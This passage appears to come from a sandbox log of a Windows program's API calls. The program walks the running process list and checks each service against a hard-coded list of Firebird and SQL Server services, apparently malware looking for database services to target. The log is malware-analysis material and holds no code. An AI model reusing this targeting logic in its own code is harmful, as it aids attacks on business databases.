lpString2="ShellHWDetection") returned -1 [0292.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0292.219] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0292.219] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0292.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0292.219] lstrlenW (lpString="Spooler") returned 7 [0292.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0292.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0292.219] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0292.219] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0292.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0292.219] lstrlenW (lpString="StateRepository") returned 15 [0292.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0292.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0292.219] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0292.219] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0292.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0292.219] lstrlenW (lpString="SysMain") returned 7 [0292.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0292.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0292.219] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0292.219] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0292.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0292.219] lstrlenW (lpString="SystemEventsBroker") returned 18 [0292.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0292.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0292.220] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0292.220] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0292.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0292.220] lstrlenW (lpString="Themes") returned 6 [0292.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0292.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0292.220] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0292.220] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0292.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0292.220] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0292.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0292.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0292.220] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0292.220] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0292.220] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x460c0e0 | out: hHeap=0x640000) returned 1 [0292.220] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x44c [0292.615] Process32FirstW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0292.616] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0292.617] lstrlenW (lpString="System") returned 6 [0292.617] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0292.618] lstrlenW (lpString="smss.exe") returned 8 [0292.618] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0292.619] lstrlenW (lpString="csrss.exe") returned 9 [0292.619] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0292.620] lstrlenW (lpString="wininit.exe") returned 11 [0292.620] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0292.621] lstrlenW (lpString="csrss.exe") returned 9 [0292.621] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0292.622] lstrlenW (lpString="winlogon.exe") returned 12 [0292.622] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0292.623] lstrlenW (lpString="services.exe") returned 12 [0292.623] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0292.624] lstrlenW (lpString="lsass.exe") returned 9 [0292.624] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0292.625] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0292.625] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0292.626] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0292.626] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.626] lstrlenW (lpString="svchost.exe") returned 11 [0292.626] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.628] lstrlenW (lpString="svchost.exe") returned 11 [0292.628] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0292.629] lstrlenW (lpString="dwm.exe") returned 7 [0292.629] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.630] lstrlenW (lpString="svchost.exe") returned 11 [0292.630] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.631] lstrlenW (lpString="svchost.exe") returned 11 [0292.631] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.631] lstrlenW (lpString="svchost.exe") returned 11 [0292.632] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.632] lstrlenW (lpString="svchost.exe") returned 11 [0292.632] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.633] lstrlenW (lpString="svchost.exe") returned 11 [0292.633] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.634] lstrlenW (lpString="svchost.exe") returned 11 [0292.634] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.635] lstrlenW (lpString="svchost.exe") returned 11 [0292.635] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.636] lstrlenW (lpString="svchost.exe") returned 11 [0292.636] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.637] lstrlenW (lpString="svchost.exe") returned 11 [0292.637] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.638] lstrlenW (lpString="svchost.exe") returned 11 [0292.638] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0292.639] lstrlenW (lpString="spoolsv.exe") returned 11 [0292.639] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.640] lstrlenW (lpString="svchost.exe") returned 11 [0292.640] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0292.641] lstrlenW (lpString="audiodg.exe") returned 11 [0292.641] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0292.642] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0292.642] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0292.642] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0292.643] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0292.644] lstrlenW (lpString="Memory Compression") returned 18 [0292.644] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.645] lstrlenW (lpString="svchost.exe") returned 11 [0292.645] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0292.814] lstrlenW (lpString="sihost.exe") returned 10 [0292.814] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0292.815] lstrlenW (lpString="taskhostw.exe") returned 13 [0292.815] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0292.816] lstrlenW (lpString="msoia.exe") returned 9 [0292.816] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0292.816] lstrlenW (lpString="explorer.exe") returned 12 [0292.816] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0292.817] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0292.817] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0292.818] lstrlenW (lpString="SearchUI.exe") returned 12 [0292.818] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0292.818] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0292.818] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0292.819] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0292.819] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0292.820] lstrlenW (lpString="chrome64b.exe") returned 13 [0292.820] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0292.821] lstrlenW (lpString="dllhost.exe") returned 11 [0292.821] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0292.821] lstrlenW (lpString="chrome64b.exe") returned 13 [0292.821] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xf58, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0292.822] lstrlenW (lpString="cmd.exe") returned 7 [0292.822] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0292.823] lstrlenW (lpString="conhost.exe") returned 11 [0292.823] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0292.823] CloseHandle (hObject=0x44c) returned 1 [0292.823] Sleep (dwMilliseconds=0x1f4) [0293.653] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x699e60 [0293.654] EnumServicesStatusExW (in: hSCManager=0x699e60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0293.654] GetLastError () returned 0xea [0293.654] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c30) returned 0x460c0e0 [0293.654] EnumServicesStatusExW (in: hSCManager=0x699e60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x460c0e0, cbBufSize=0x1c30, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x460c0e0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0293.655] CloseServiceHandle (hSCObject=0x699e60) returned 1 [0293.655] lstrlenW (lpString="Appinfo") returned 7 [0293.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0293.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0293.655] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0293.655] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0293.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0293.655] lstrlenW (lpString="AppXSvc") returned 7 [0293.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0293.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0293.655] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0293.655] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0293.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0293.655] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0293.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0293.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0293.656] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0293.656] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0293.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0293.656] lstrlenW (lpString="Audiosrv") returned 8 [0293.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0293.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0293.656] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0293.656] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0293.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0293.656] lstrlenW (lpString="BFE") returned 3 [0293.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0293.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0293.656] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0293.656] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0293.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0293.656] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0293.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0293.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0293.656] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0293.656] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0293.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0293.656] lstrlenW (lpString="CDPSvc") returned 6 [0293.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0293.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0293.656] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0293.656] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0293.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0293.657] lstrlenW (lpString="ClickToRunSvc") returned 13 [0293.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0293.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0293.657] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0293.657] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0293.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0293.657] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0293.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0293.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0293.657] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0293.657] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0293.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0293.657] lstrlenW (lpString="CryptSvc") returned 8 [0293.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0293.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0293.657] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0293.657] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0293.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0293.657] lstrlenW (lpString="DcomLaunch") returned 10 [0293.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0293.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0293.657] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0293.657] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0293.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0293.657] 